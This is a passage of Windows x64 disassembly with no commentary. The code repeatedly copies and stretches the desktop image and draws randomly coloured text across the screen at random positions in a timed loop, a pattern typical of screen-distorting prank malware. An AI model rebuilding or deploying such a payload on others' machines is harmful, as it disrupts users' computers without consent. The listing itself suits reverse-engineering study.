call qword [sym.imp.GDI32.dll_BitBlt]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov edi, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov rcx, qword [rsp + 0x80]
xor esi, esi
mov dword [rsp + 0x40], 0x5a0049
mov r9d, edi
mov rdi, qword [rsp + 0x88]
xor r8d, r8d
mov dword [rsp + 0x38], esi
xor edx, edx
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.GDI32.dll_BitBlt]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rsp + 0x90]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [rsp + 0x6c]
lea r9d, [r13 - 0x64]
mov dword [rsp + 0x50], 0xcc0020
mov edx, 0x32
mov dword [rsp + 0x48], ecx
mov r8d, edx
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], esi
lea eax, [rcx - 0x64]
mov dword [rsp + 0x30], esi
mov rcx, rdi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.GDI32.dll_StretchBlt]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowDC]
xor ecx, ecx
mov r15, rax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
lea ecx, [rsi + 1]
mov r14d, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebp, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx edi, r8b
shl edi, 8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx esi, r8b
shl esi, 0x10
or esi, edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
mov rcx, r15
movzx edx, r8b
or edx, esi
call qword [sym.imp.GDI32.dll_SetTextColor]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx edi, r8b
shl edi, 8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
movzx esi, r8b
shl esi, 0x10
or esi, edi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
mov rcx, r15
movzx edx, r8b
or edx, esi
call qword [sym.imp.GDI32.dll_SetBkColor]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv ebp
mov edi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
lea r9, str.
mov dword [rsp + 0x20], 0xfd
cdq
mov r8d, edi
idiv r14d
mov rcx, r15
call qword [sym.imp.GDI32.dll_TextOutW]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r13d, dword [rsp + 0x70]
mov r12d, dword [rsp + 0x68]
jmp 0x1400010a1